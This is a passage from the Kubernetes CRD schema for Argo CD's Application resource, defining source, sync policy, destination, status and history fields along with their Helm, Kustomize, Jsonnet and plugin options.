                              images:
                                description: Images is a list of Kustomize image override
                                  specifications
                                items:
                                  description: KustomizeImage represents a Kustomize
                                    image definition in the format [old_image_name=]<image_name>:<image_tag>
                                  type: string
                                type: array
                              kubeVersion:
                                description: |-
                                  KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                  uses the Kubernetes version of the target cluster.
                                type: string
                              labelIncludeTemplates:
                                description: LabelIncludeTemplates specifies whether
                                  to apply common labels to resource templates or
                                  not
                                type: boolean
                              labelWithoutSelector:
                                description: LabelWithoutSelector specifies whether
                                  to apply common labels to resource selectors or
                                  not
                                type: boolean
                              namePrefix:
                                description: NamePrefix is a prefix appended to resources
                                  for Kustomize apps
                                type: string
                              nameSuffix:
                                description: NameSuffix is a suffix appended to resources
                                  for Kustomize apps
                                type: string
                              namespace:
                                description: Namespace sets the namespace that Kustomize
                                  adds to all resources
                                type: string
                              patches:
                                description: Patches is a list of Kustomize patches
                                items:
                                  properties:
                                    options:
                                      additionalProperties:
                                        type: boolean
                                      type: object
                                    patch:
                                      type: string
                                    path:
                                      type: string
                                    target:
                                      properties:
                                        annotationSelector:
                                          type: string
                                        group:
                                          type: string
                                        kind:
                                          type: string
                                        labelSelector:
                                          type: string
                                        name:
                                          type: string
                                        namespace:
                                          type: string
                                        version:
                                          type: string
                                      type: object
                                  type: object
                                type: array
                              replicas:
                                description: Replicas is a list of Kustomize Replicas
                                  override specifications
                                items:
                                  properties:
                                    count:
                                      anyOf:
                                      - type: integer
                                      - type: string
                                      description: Number of replicas
                                      x-kubernetes-int-or-string: true
                                    name:
                                      description: Name of Deployment or StatefulSet
                                      type: string
                                  required:
                                  - count
                                  - name
                                  type: object
                                type: array
                              version:
                                description: Version controls which version of Kustomize
                                  to use for rendering manifests
                                type: string
                            type: object
                          name:
                            description: Name is used to refer to a source and is
                              displayed in the UI. It is used in multi-source Applications.
                            type: string
                          path:
                            description: Path is a directory path within the Git repository,
                              and is only valid for applications sourced from Git.
                            type: string
                          plugin:
                            description: Plugin holds config management plugin specific
                              options
                            properties:
                              env:
                                description: Env is a list of environment variable
                                  entries
                                items:
                                  description: EnvEntry represents an entry in the
                                    application's environment
                                  properties:
                                    name:
                                      description: Name is the name of the variable,
                                        usually expressed in uppercase
                                      type: string
                                    value:
                                      description: Value is the value of the variable
                                      type: string
                                  required:
                                  - name
                                  - value
                                  type: object
                                type: array
                              name:
                                type: string
                              parameters:
                                items:
                                  properties:
                                    array:
                                      description: Array is the value of an array
                                        type parameter.
                                      items:
                                        type: string
                                      type: array
                                    map:
                                      additionalProperties:
                                        type: string
                                      description: Map is the value of a map type
                                        parameter.
                                      type: object
                                    name:
                                      description: Name is the name identifying a
                                        parameter.
                                      type: string
                                    string:
                                      description: String_ is the value of a string
                                        type parameter.
                                      type: string
                                  type: object
                                type: array
                            type: object
                          ref:
                            description: Ref is reference to another source within
                              sources field. This field will not be used if used with
                              a `source` tag.
                            type: string
                          repoURL:
                            description: RepoURL is the URL to the repository (Git
                              or Helm) that contains the application manifests
                            type: string
                          targetRevision:
                            description: |-
                              TargetRevision defines the revision of the source to sync the application to.
                              In case of Git, this can be commit, tag, or branch. If omitted, will equal to HEAD.
                              In case of Helm, this is a semver tag for the Chart's version.
                            type: string
                        required:
                        - repoURL
                        type: object
                      type: array
                    syncOptions:
                      description: SyncOptions provide per-sync sync-options, e.g.
                        Validate=false
                      items:
                        type: string
                      type: array
                    syncStrategy:
                      description: SyncStrategy describes how to perform the sync
                      properties:
                        apply:
                          description: Apply will perform a `kubectl apply` to perform
                            the sync.
                          properties:
                            force:
                              description: |-
                                Force indicates whether or not to supply the --force flag to `kubectl apply`.
                                The --force flag deletes and re-create the resource, when PATCH encounters conflict and has
                                retried for 5 times.
                              type: boolean
                          type: object
                        hook:
                          description: Hook will submit any referenced resources to
                            perform the sync. This is the default strategy
                          properties:
                            force:
                              description: |-
                                Force indicates whether or not to supply the --force flag to `kubectl apply`.
                                The --force flag deletes and re-create the resource, when PATCH encounters conflict and has
                                retried for 5 times.
                              type: boolean
                          type: object
                      type: object
                  type: object
              type: object
            spec:
              description: ApplicationSpec represents desired application state. Contains
                link to repository with application definition and additional parameters
                link definition revision.
              properties:
                destination:
                  description: Destination is a reference to the target Kubernetes
                    server and namespace
                  properties:
                    name:
                      description: Name is an alternate way of specifying the target
                        cluster by its symbolic name. This must be set if Server is
                        not set.
                      type: string
                    namespace:
                      description: |-
                        Namespace specifies the target namespace for the application's resources.
                        The namespace will only be set for namespace-scoped resources that have not set a value for .metadata.namespace
                      type: string
                    server:
                      description: Server specifies the URL of the target cluster's
                        Kubernetes control plane API. This must be set if Name is
                        not set.
                      type: string
                  type: object
                ignoreDifferences:
                  description: IgnoreDifferences is a list of resources and their
                    fields which should be ignored during comparison
                  items:
                    description: ResourceIgnoreDifferences contains resource filter
                      and list of json paths which should be ignored during comparison
                      with live state.
                    properties:
                      group:
                        type: string
                      jqPathExpressions:
                        items:
                          type: string
                        type: array
                      jsonPointers:
                        items:
                          type: string
                        type: array
                      kind:
                        type: string
                      managedFieldsManagers:
                        description: |-
                          ManagedFieldsManagers is a list of trusted managers. Fields mutated by those managers will take precedence over the
                          desired state defined in the SCM and won't be displayed in diffs
                        items:
                          type: string
                        type: array
                      name:
                        type: string
                      namespace:
                        type: string
                    required:
                    - kind
                    type: object
                  type: array
                info:
                  description: Info contains a list of information (URLs, email addresses,
                    and plain text) that relates to the application
                  items:
                    properties:
                      name:
                        type: string
                      value:
                        type: string
                    required:
                    - name
                    - value
                    type: object
                  type: array
                project:
                  description: |-
                    Project is a reference to the project this application belongs to.
                    The empty string means that application belongs to the 'default' project.
                  type: string
                revisionHistoryLimit:
                  description: |-
                    RevisionHistoryLimit limits the number of items kept in the application's revision history, which is used for informational purposes as well as for rollbacks to previous versions.
                    This should only be changed in exceptional circumstances.
                    Setting to zero will store no history. This will reduce storage used.
                    Increasing will increase the space used to store the history, so we do not recommend increasing it.
                    Default is 10.
                  format: int64
                  type: integer
                source:
                  description: Source is a reference to the location of the application's
                    manifests or chart
                  properties:
                    chart:
                      description: Chart is a Helm chart name, and must be specified
                        for applications sourced from a Helm repo.
                      type: string
                    directory:
                      description: Directory holds path/directory specific options
                      properties:
                        exclude:
                          description: Exclude contains a glob pattern to match paths
                            against that should be explicitly excluded from being
                            used during manifest generation
                          type: string
                        include:
                          description: Include contains a glob pattern to match paths
                            against that should be explicitly included during manifest
                            generation
                          type: string
                        jsonnet:
                          description: Jsonnet holds options specific to Jsonnet
                          properties:
                            extVars:
                              description: ExtVars is a list of Jsonnet External Variables
                              items:
                                description: JsonnetVar represents a variable to be
                                  passed to jsonnet during manifest generation
                                properties:
                                  code:
                                    type: boolean
                                  name:
                                    type: string
                                  value:
                                    type: string
                                required:
                                - name
                                - value
                                type: object
                              type: array
                            libs:
                              description: Additional library search dirs
                              items:
                                type: string
                              type: array
                            tlas:
                              description: TLAS is a list of Jsonnet Top-level Arguments
                              items:
                                description: JsonnetVar represents a variable to be
                                  passed to jsonnet during manifest generation
                                properties:
                                  code:
                                    type: boolean
                                  name:
                                    type: string
                                  value:
                                    type: string
                                required:
                                - name
                                - value
                                type: object
                              type: array
                          type: object
                        recurse:
                          description: Recurse specifies whether to scan a directory
                            recursively for manifests
                          type: boolean
                      type: object
                    helm:
                      description: Helm holds helm specific options
                      properties:
                        apiVersions:
                          description: |-
                            APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                            Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                          items:
                            type: string
                          type: array
                        fileParameters:
                          description: FileParameters are file parameters to the helm
                            template
                          items:
                            description: HelmFileParameter is a file parameter that's
                              passed to helm template during manifest generation
                            properties:
                              name:
                                description: Name is the name of the Helm parameter
                                type: string
                              path:
                                description: Path is the path to the file containing
                                  the values for the Helm parameter
                                type: string
                            type: object
                          type: array
                        ignoreMissingValueFiles:
                          description: IgnoreMissingValueFiles prevents helm template
                            from failing when valueFiles do not exist locally by not
                            appending them to helm template --values
                          type: boolean
                        kubeVersion:
                          description: |-
                            KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                            uses the Kubernetes version of the target cluster.
                          type: string
                        namespace:
                          description: Namespace is an optional namespace to template
                            with. If left empty, defaults to the app's destination
                            namespace.
                          type: string
                        parameters:
                          description: Parameters is a list of Helm parameters which
                            are passed to the helm template command upon manifest
                            generation
                          items:
                            description: HelmParameter is a parameter that's passed
                              to helm template during manifest generation
                            properties:
                              forceString:
                                description: ForceString determines whether to tell
                                  Helm to interpret booleans and numbers as strings
                                type: boolean
                              name:
                                description: Name is the name of the Helm parameter
                                type: string
                              value:
                                description: Value is the value for the Helm parameter
                                type: string
                            type: object
                          type: array
                        passCredentials:
                          description: PassCredentials pass credentials to all domains
                            (Helm's --pass-credentials)
                          type: boolean
                        releaseName:
                          description: ReleaseName is the Helm release name to use.
                            If omitted it will use the application name
                          type: string
                        skipCrds:
                          description: SkipCrds skips custom resource definition installation
                            step (Helm's --skip-crds)
                          type: boolean
                        skipSchemaValidation:
                          description: SkipSchemaValidation skips JSON schema validation
                            (Helm's --skip-schema-validation)
                          type: boolean
                        skipTests:
                          description: SkipTests skips test manifest installation
                            step (Helm's --skip-tests).
                          type: boolean
                        valueFiles:
                          description: ValuesFiles is a list of Helm value files to
                            use when generating a template
                          items:
                            type: string
                          type: array
                        values:
                          description: Values specifies Helm values to be passed to
                            helm template, typically defined as a block. ValuesObject
                            takes precedence over Values, so use one or the other.
                          type: string
                        valuesObject:
                          description: ValuesObject specifies Helm values to be passed
                            to helm template, defined as a map. This takes precedence
                            over Values.
                          type: object
                          x-kubernetes-preserve-unknown-fields: true
                        version:
                          description: Version is the Helm version to use for templating
                            ("3")
                          type: string
                      type: object
                    kustomize:
                      description: Kustomize holds kustomize specific options
                      properties:
                        apiVersions:
                          description: |-
                            APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                            Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                          items:
                            type: string
                          type: array
                        commonAnnotations:
                          additionalProperties:
                            type: string
                          description: CommonAnnotations is a list of additional annotations
                            to add to rendered manifests
                          type: object
                        commonAnnotationsEnvsubst:
                          description: CommonAnnotationsEnvsubst specifies whether
                            to apply env variables substitution for annotation values
                          type: boolean
                        commonLabels:
                          additionalProperties:
                            type: string
                          description: CommonLabels is a list of additional labels
                            to add to rendered manifests
                          type: object
                        components:
                          description: Components specifies a list of kustomize components
                            to add to the kustomization before building
                          items:
                            type: string
                          type: array
                        forceCommonAnnotations:
                          description: ForceCommonAnnotations specifies whether to
                            force applying common annotations to resources for Kustomize
                            apps
                          type: boolean
                        forceCommonLabels:
                          description: ForceCommonLabels specifies whether to force
                            applying common labels to resources for Kustomize apps
                          type: boolean
                        ignoreMissingComponents:
                          description: IgnoreMissingComponents prevents kustomize
                            from failing when components do not exist locally by not
                            appending them to kustomization file
                          type: boolean
                        images:
                          description: Images is a list of Kustomize image override
                            specifications
                          items:
                            description: KustomizeImage represents a Kustomize image
                              definition in the format [old_image_name=]<image_name>:<image_tag>
                            type: string
                          type: array
                        kubeVersion:
                          description: |-
                            KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                            uses the Kubernetes version of the target cluster.
                          type: string
                        labelIncludeTemplates:
                          description: LabelIncludeTemplates specifies whether to
                            apply common labels to resource templates or not
                          type: boolean
                        labelWithoutSelector:
                          description: LabelWithoutSelector specifies whether to apply
                            common labels to resource selectors or not
                          type: boolean
                        namePrefix:
                          description: NamePrefix is a prefix appended to resources
                            for Kustomize apps
                          type: string
                        nameSuffix:
                          description: NameSuffix is a suffix appended to resources
                            for Kustomize apps
                          type: string
                        namespace:
                          description: Namespace sets the namespace that Kustomize
                            adds to all resources
                          type: string
                        patches:
                          description: Patches is a list of Kustomize patches
                          items:
                            properties:
                              options:
                                additionalProperties:
                                  type: boolean
                                type: object
                              patch:
                                type: string
                              path:
                                type: string
                              target:
                                properties:
                                  annotationSelector:
                                    type: string
                                  group:
                                    type: string
                                  kind:
                                    type: string
                                  labelSelector:
                                    type: string
                                  name:
                                    type: string
                                  namespace:
                                    type: string
                                  version:
                                    type: string
                                type: object
                            type: object
                          type: array
                        replicas:
                          description: Replicas is a list of Kustomize Replicas override
                            specifications
                          items:
                            properties:
                              count:
                                anyOf:
                                - type: integer
                                - type: string
                                description: Number of replicas
                                x-kubernetes-int-or-string: true
                              name:
                                description: Name of Deployment or StatefulSet
                                type: string
                            required:
                            - count
                            - name
                            type: object
                          type: array
                        version:
                          description: Version controls which version of Kustomize
                            to use for rendering manifests
                          type: string
                      type: object
                    name:
                      description: Name is used to refer to a source and is displayed
                        in the UI. It is used in multi-source Applications.
                      type: string
                    path:
                      description: Path is a directory path within the Git repository,
                        and is only valid for applications sourced from Git.
                      type: string
                    plugin:
                      description: Plugin holds config management plugin specific
                        options
                      properties:
                        env:
                          description: Env is a list of environment variable entries
                          items:
                            description: EnvEntry represents an entry in the application's
                              environment
                            properties:
                              name:
                                description: Name is the name of the variable, usually
                                  expressed in uppercase
                                type: string
                              value:
                                description: Value is the value of the variable
                                type: string
                            required:
                            - name
                            - value
                            type: object
                          type: array
                        name:
                          type: string
                        parameters:
                          items:
                            properties:
                              array:
                                description: Array is the value of an array type parameter.
                                items:
                                  type: string
                                type: array
                              map:
                                additionalProperties:
                                  type: string
                                description: Map is the value of a map type parameter.
                                type: object
                              name:
                                description: Name is the name identifying a parameter.
                                type: string
                              string:
                                description: String_ is the value of a string type
                                  parameter.
                                type: string
                            type: object
                          type: array
                      type: object
                    ref:
                      description: Ref is reference to another source within sources
                        field. This field will not be used if used with a `source`
                        tag.
                      type: string
                    repoURL:
                      description: RepoURL is the URL to the repository (Git or Helm)
                        that contains the application manifests
                      type: string
                    targetRevision:
                      description: |-
                        TargetRevision defines the revision of the source to sync the application to.
                        In case of Git, this can be commit, tag, or branch. If omitted, will equal to HEAD.
                        In case of Helm, this is a semver tag for the Chart's version.
                      type: string
                  required:
                  - repoURL
                  type: object
                sourceHydrator:
                  description: SourceHydrator provides a way to push hydrated manifests
                    back to git before syncing them to the cluster.
                  properties:
                    drySource:
                      description: DrySource specifies where the dry "don't repeat
                        yourself" manifest source lives.
                      properties:
                        path:
                          description: Path is a directory path within the Git repository
                            where the manifests are located
                          type: string
                        repoURL:
                          description: RepoURL is the URL to the git repository that
                            contains the application manifests
                          type: string
                        targetRevision:
                          description: TargetRevision defines the revision of the
                            source to hydrate
                          type: string
                      required:
                      - path
                      - repoURL
                      - targetRevision
                      type: object
                    hydrateTo:
                      description: |-
                        HydrateTo specifies an optional "staging" location to push hydrated manifests to. An external system would then
                        have to move manifests to the SyncSource, e.g. by pull request.
                      properties:
                        targetBranch:
                          description: TargetBranch is the branch to which hydrated
                            manifests should be committed
                          type: string
                      required:
                      - targetBranch
                      type: object
                    syncSource:
                      description: SyncSource specifies where to sync hydrated manifests
                        from.
                      properties:
                        path:
                          description: |-
                            Path is a directory path within the git repository where hydrated manifests should be committed to and synced
                            from. If hydrateTo is set, this is just the path from which hydrated manifests will be synced.
                          type: string
                        targetBranch:
                          description: TargetBranch is the branch to which hydrated
                            manifests should be committed
                          type: string
                      required:
                      - path
                      - targetBranch
                      type: object
                  required:
                  - drySource
                  - syncSource
                  type: object
                sources:
                  description: Sources is a reference to the location of the application's
                    manifests or chart
                  items:
                    description: ApplicationSource contains all required information
                      about the source of an application
                    properties:
                      chart:
                        description: Chart is a Helm chart name, and must be specified
                          for applications sourced from a Helm repo.
                        type: string
                      directory:
                        description: Directory holds path/directory specific options
                        properties:
                          exclude:
                            description: Exclude contains a glob pattern to match
                              paths against that should be explicitly excluded from
                              being used during manifest generation
                            type: string
                          include:
                            description: Include contains a glob pattern to match
                              paths against that should be explicitly included during
                              manifest generation
                            type: string
                          jsonnet:
                            description: Jsonnet holds options specific to Jsonnet
                            properties:
                              extVars:
                                description: ExtVars is a list of Jsonnet External
                                  Variables
                                items:
                                  description: JsonnetVar represents a variable to
                                    be passed to jsonnet during manifest generation
                                  properties:
                                    code:
                                      type: boolean
                                    name:
                                      type: string
                                    value:
                                      type: string
                                  required:
                                  - name
                                  - value
                                  type: object
                                type: array
                              libs:
                                description: Additional library search dirs
                                items:
                                  type: string
                                type: array
                              tlas:
                                description: TLAS is a list of Jsonnet Top-level Arguments
                                items:
                                  description: JsonnetVar represents a variable to
                                    be passed to jsonnet during manifest generation
                                  properties:
                                    code:
                                      type: boolean
                                    name:
                                      type: string
                                    value:
                                      type: string
                                  required:
                                  - name
                                  - value
                                  type: object
                                type: array
                            type: object
                          recurse:
                            description: Recurse specifies whether to scan a directory
                              recursively for manifests
                            type: boolean
                        type: object
                      helm:
                        description: Helm holds helm specific options
                        properties:
                          apiVersions:
                            description: |-
                              APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                              Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                            items:
                              type: string
                            type: array
                          fileParameters:
                            description: FileParameters are file parameters to the
                              helm template
                            items:
                              description: HelmFileParameter is a file parameter that's
                                passed to helm template during manifest generation
                              properties:
                                name:
                                  description: Name is the name of the Helm parameter
                                  type: string
                                path:
                                  description: Path is the path to the file containing
                                    the values for the Helm parameter
                                  type: string
                              type: object
                            type: array
                          ignoreMissingValueFiles:
                            description: IgnoreMissingValueFiles prevents helm template
                              from failing when valueFiles do not exist locally by
                              not appending them to helm template --values
                            type: boolean
                          kubeVersion:
                            description: |-
                              KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                              uses the Kubernetes version of the target cluster.
                            type: string
                          namespace:
                            description: Namespace is an optional namespace to template
                              with. If left empty, defaults to the app's destination
                              namespace.
                            type: string
                          parameters:
                            description: Parameters is a list of Helm parameters which
                              are passed to the helm template command upon manifest
                              generation
                            items:
                              description: HelmParameter is a parameter that's passed
                                to helm template during manifest generation
                              properties:
                                forceString:
                                  description: ForceString determines whether to tell
                                    Helm to interpret booleans and numbers as strings
                                  type: boolean
                                name:
                                  description: Name is the name of the Helm parameter
                                  type: string
                                value:
                                  description: Value is the value for the Helm parameter
                                  type: string
                              type: object
                            type: array
                          passCredentials:
                            description: PassCredentials pass credentials to all domains
                              (Helm's --pass-credentials)
                            type: boolean
                          releaseName:
                            description: ReleaseName is the Helm release name to use.
                              If omitted it will use the application name
                            type: string
                          skipCrds:
                            description: SkipCrds skips custom resource definition
                              installation step (Helm's --skip-crds)
                            type: boolean
                          skipSchemaValidation:
                            description: SkipSchemaValidation skips JSON schema validation
                              (Helm's --skip-schema-validation)
                            type: boolean
                          skipTests:
                            description: SkipTests skips test manifest installation
                              step (Helm's --skip-tests).
                            type: boolean
                          valueFiles:
                            description: ValuesFiles is a list of Helm value files
                              to use when generating a template
                            items:
                              type: string
                            type: array
                          values:
                            description: Values specifies Helm values to be passed
                              to helm template, typically defined as a block. ValuesObject
                              takes precedence over Values, so use one or the other.
                            type: string
                          valuesObject:
                            description: ValuesObject specifies Helm values to be
                              passed to helm template, defined as a map. This takes
                              precedence over Values.
                            type: object
                            x-kubernetes-preserve-unknown-fields: true
                          version:
                            description: Version is the Helm version to use for templating
                              ("3")
                            type: string
                        type: object
                      kustomize:
                        description: Kustomize holds kustomize specific options
                        properties:
                          apiVersions:
                            description: |-
                              APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                              Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                            items:
                              type: string
                            type: array
                          commonAnnotations:
                            additionalProperties:
                              type: string
                            description: CommonAnnotations is a list of additional
                              annotations to add to rendered manifests
                            type: object
                          commonAnnotationsEnvsubst:
                            description: CommonAnnotationsEnvsubst specifies whether
                              to apply env variables substitution for annotation values
                            type: boolean
                          commonLabels:
                            additionalProperties:
                              type: string
                            description: CommonLabels is a list of additional labels
                              to add to rendered manifests
                            type: object
                          components:
                            description: Components specifies a list of kustomize
                              components to add to the kustomization before building
                            items:
                              type: string
                            type: array
                          forceCommonAnnotations:
                            description: ForceCommonAnnotations specifies whether
                              to force applying common annotations to resources for
                              Kustomize apps
                            type: boolean
                          forceCommonLabels:
                            description: ForceCommonLabels specifies whether to force
                              applying common labels to resources for Kustomize apps
                            type: boolean
                          ignoreMissingComponents:
                            description: IgnoreMissingComponents prevents kustomize
                              from failing when components do not exist locally by
                              not appending them to kustomization file
                            type: boolean
                          images:
                            description: Images is a list of Kustomize image override
                              specifications
                            items:
                              description: KustomizeImage represents a Kustomize image
                                definition in the format [old_image_name=]<image_name>:<image_tag>
                              type: string
                            type: array
                          kubeVersion:
                            description: |-
                              KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                              uses the Kubernetes version of the target cluster.
                            type: string
                          labelIncludeTemplates:
                            description: LabelIncludeTemplates specifies whether to
                              apply common labels to resource templates or not
                            type: boolean
                          labelWithoutSelector:
                            description: LabelWithoutSelector specifies whether to
                              apply common labels to resource selectors or not
                            type: boolean
                          namePrefix:
                            description: NamePrefix is a prefix appended to resources
                              for Kustomize apps
                            type: string
                          nameSuffix:
                            description: NameSuffix is a suffix appended to resources
                              for Kustomize apps
                            type: string
                          namespace:
                            description: Namespace sets the namespace that Kustomize
                              adds to all resources
                            type: string
                          patches:
                            description: Patches is a list of Kustomize patches
                            items:
                              properties:
                                options:
                                  additionalProperties:
                                    type: boolean
                                  type: object
                                patch:
                                  type: string
                                path:
                                  type: string
                                target:
                                  properties:
                                    annotationSelector:
                                      type: string
                                    group:
                                      type: string
                                    kind:
                                      type: string
                                    labelSelector:
                                      type: string
                                    name:
                                      type: string
                                    namespace:
                                      type: string
                                    version:
                                      type: string
                                  type: object
                              type: object
                            type: array
                          replicas:
                            description: Replicas is a list of Kustomize Replicas
                              override specifications
                            items:
                              properties:
                                count:
                                  anyOf:
                                  - type: integer
                                  - type: string
                                  description: Number of replicas
                                  x-kubernetes-int-or-string: true
                                name:
                                  description: Name of Deployment or StatefulSet
                                  type: string
                              required:
                              - count
                              - name
                              type: object
                            type: array
                          version:
                            description: Version controls which version of Kustomize
                              to use for rendering manifests
                            type: string
                        type: object
                      name:
                        description: Name is used to refer to a source and is displayed
                          in the UI. It is used in multi-source Applications.
                        type: string
                      path:
                        description: Path is a directory path within the Git repository,
                          and is only valid for applications sourced from Git.
                        type: string
                      plugin:
                        description: Plugin holds config management plugin specific
                          options
                        properties:
                          env:
                            description: Env is a list of environment variable entries
                            items:
                              description: EnvEntry represents an entry in the application's
                                environment
                              properties:
                                name:
                                  description: Name is the name of the variable, usually
                                    expressed in uppercase
                                  type: string
                                value:
                                  description: Value is the value of the variable
                                  type: string
                              required:
                              - name
                              - value
                              type: object
                            type: array
                          name:
                            type: string
                          parameters:
                            items:
                              properties:
                                array:
                                  description: Array is the value of an array type
                                    parameter.
                                  items:
                                    type: string
                                  type: array
                                map:
                                  additionalProperties:
                                    type: string
                                  description: Map is the value of a map type parameter.
                                  type: object
                                name:
                                  description: Name is the name identifying a parameter.
                                  type: string
                                string:
                                  description: String_ is the value of a string type
                                    parameter.
                                  type: string
                              type: object
                            type: array
                        type: object
                      ref:
                        description: Ref is reference to another source within sources
                          field. This field will not be used if used with a `source`
                          tag.
                        type: string
                      repoURL:
                        description: RepoURL is the URL to the repository (Git or
                          Helm) that contains the application manifests
                        type: string
                      targetRevision:
                        description: |-
                          TargetRevision defines the revision of the source to sync the application to.
                          In case of Git, this can be commit, tag, or branch. If omitted, will equal to HEAD.
                          In case of Helm, this is a semver tag for the Chart's version.
                        type: string
                    required:
                    - repoURL
                    type: object
                  type: array
                syncPolicy:
                  description: SyncPolicy controls when and how a sync will be performed
                  properties:
                    automated:
                      description: Automated will keep an application synced to the
                        target revision
                      properties:
                        allowEmpty:
                          description: 'AllowEmpty allows apps have zero live resources
                            (default: false)'
                          type: boolean
                        enabled:
                          description: Enable allows apps to explicitly control automated
                            sync
                          type: boolean
                        prune:
                          description: 'Prune specifies whether to delete resources
                            from the cluster that are not found in the sources anymore
                            as part of automated sync (default: false)'
                          type: boolean
                        selfHeal:
                          description: 'SelfHeal specifies whether to revert resources
                            back to their desired state upon modification in the cluster
                            (default: false)'
                          type: boolean
                      type: object
                    managedNamespaceMetadata:
                      description: ManagedNamespaceMetadata controls metadata in the
                        given namespace (if CreateNamespace=true)
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          type: object
                        labels:
                          additionalProperties:
                            type: string
                          type: object
                      type: object
                    retry:
                      description: Retry controls failed sync retry behavior
                      properties:
                        backoff:
                          description: Backoff controls how to backoff on subsequent
                            retries of failed syncs
                          properties:
                            duration:
                              description: Duration is the amount to back off. Default
                                unit is seconds, but could also be a duration (e.g.
                                "2m", "1h")
                              type: string
                            factor:
                              description: Factor is a factor to multiply the base
                                duration after each failed retry
                              format: int64
                              type: integer
                            maxDuration:
                              description: MaxDuration is the maximum amount of time
                                allowed for the backoff strategy
                              type: string
                          type: object
                        limit:
                          description: Limit is the maximum number of attempts for
                            retrying a failed sync. If set to 0, no retries will be
                            performed.
                          format: int64
                          type: integer
                      type: object
                    syncOptions:
                      description: Options allow you to specify whole app sync-options
                      items:
                        type: string
                      type: array
                  type: object
              required:
              - destination
              - project
              type: object
            status:
              description: ApplicationStatus contains status information for the application
              properties:
                conditions:
                  description: Conditions is a list of currently observed application
                    conditions
                  items:
                    description: ApplicationCondition contains details about an application
                      condition, which is usually an error or warning
                    properties:
                      lastTransitionTime:
                        description: LastTransitionTime is the time the condition
                          was last observed
                        format: date-time
                        type: string
                      message:
                        description: Message contains human-readable message indicating
                          details about condition
                        type: string
                      type:
                        description: Type is an application condition type
                        type: string
                    required:
                    - message
                    - type
                    type: object
                  type: array
                controllerNamespace:
                  description: ControllerNamespace indicates the namespace in which
                    the application controller is located
                  type: string
                health:
                  description: Health contains information about the application's
                    current health status
                  properties:
                    lastTransitionTime:
                      description: LastTransitionTime is the time the HealthStatus
                        was set or updated
                      format: date-time
                      type: string
                    message:
                      description: |-
                        Message is a human-readable informational message describing the health status

                        Deprecated: this field is not used and will be removed in a future release.
                      type: string
                    status:
                      description: Status holds the status code of the application
                      type: string
                  type: object
                history:
                  description: History contains information about the application's
                    sync history
                  items:
                    description: RevisionHistory contains history information about
                      a previous sync
                    properties:
                      deployStartedAt:
                        description: DeployStartedAt holds the time the sync operation
                          started
                        format: date-time
                        type: string
                      deployedAt:
                        description: DeployedAt holds the time the sync operation
                          completed
                        format: date-time
                        type: string
                      id:
                        description: ID is an auto incrementing identifier of the
                          RevisionHistory
                        format: int64
                        type: integer
                      initiatedBy:
                        description: InitiatedBy contains information about who initiated
                          the operations
                        properties:
                          automated:
                            description: Automated is set to true if operation was
                              initiated automatically by the application controller.
                            type: boolean
                          username:
                            description: Username contains the name of a user who
                              started operation
                            type: string
                        type: object
                      revision:
                        description: Revision holds the revision the sync was performed
                          against
                        type: string
                      revisions:
                        description: Revisions holds the revision of each source in
                          sources field the sync was performed against
                        items:
                          type: string
                        type: array
                      source:
                        description: Source is a reference to the application source
                          used for the sync operation
                        properties:
                          chart:
                            description: Chart is a Helm chart name, and must be specified
                              for applications sourced from a Helm repo.
                            type: string
                          directory:
                            description: Directory holds path/directory specific options
                            properties:
                              exclude:
                                description: Exclude contains a glob pattern to match
                                  paths against that should be explicitly excluded
                                  from being used during manifest generation
                                type: string
                              include:
                                description: Include contains a glob pattern to match
                                  paths against that should be explicitly included
                                  during manifest generation
                                type: string
                              jsonnet:
                                description: Jsonnet holds options specific to Jsonnet
                                properties:
                                  extVars:
                                    description: ExtVars is a list of Jsonnet External
                                      Variables
                                    items:
                                      description: JsonnetVar represents a variable
                                        to be passed to jsonnet during manifest generation
                                      properties:
                                        code:
                                          type: boolean
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                  libs:
                                    description: Additional library search dirs
                                    items:
                                      type: string
                                    type: array
                                  tlas:
                                    description: TLAS is a list of Jsonnet Top-level
                                      Arguments
                                    items:
                                      description: JsonnetVar represents a variable
                                        to be passed to jsonnet during manifest generation
                                      properties:
                                        code:
                                          type: boolean
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                type: object
                              recurse:
                                description: Recurse specifies whether to scan a directory
                                  recursively for manifests
                                type: boolean
                            type: object
                          helm:
                            description: Helm holds helm specific options
                            properties:
                              apiVersions:
                                description: |-
                                  APIVersions specifies the Kubernetes resource API versions to pass to Helm when templating manifests. By default,
                                  Argo CD uses the API versions of the target cluster. The format is [group/]version/kind.
                                items:
                                  type: string
                                type: array
                              fileParameters:
                                description: FileParameters are file parameters to
                                  the helm template
                                items:
                                  description: HelmFileParameter is a file parameter
                                    that's passed to helm template during manifest
                                    generation
                                  properties:
                                    name:
                                      description: Name is the name of the Helm parameter
                                      type: string
                                    path:
                                      description: Path is the path to the file containing
                                        the values for the Helm parameter
                                      type: string
                                  type: object
                                type: array
                              ignoreMissingValueFiles:
                                description: IgnoreMissingValueFiles prevents helm
                                  template from failing when valueFiles do not exist
                                  locally by not appending them to helm template --values
                                type: boolean
                              kubeVersion:
                                description: |-
                                  KubeVersion specifies the Kubernetes API version to pass to Helm when templating manifests. By default, Argo CD
                                  uses the Kubernetes version of the target cluster.
                                type: string
                              namespace:
                                description: Namespace is an optional namespace to
                                  template with. If left empty, defaults to the app's
                                  destination namespace.
                                type: string
                              parameters:
                                description: Parameters is a list of Helm parameters
                                  which are passed to the helm template command upon
                                  manifest generation
                                items:
                                  description: HelmParameter is a parameter that's
                                    passed to helm template during manifest generation
                                  properties:
                                    forceString:
                                      description: ForceString determines whether
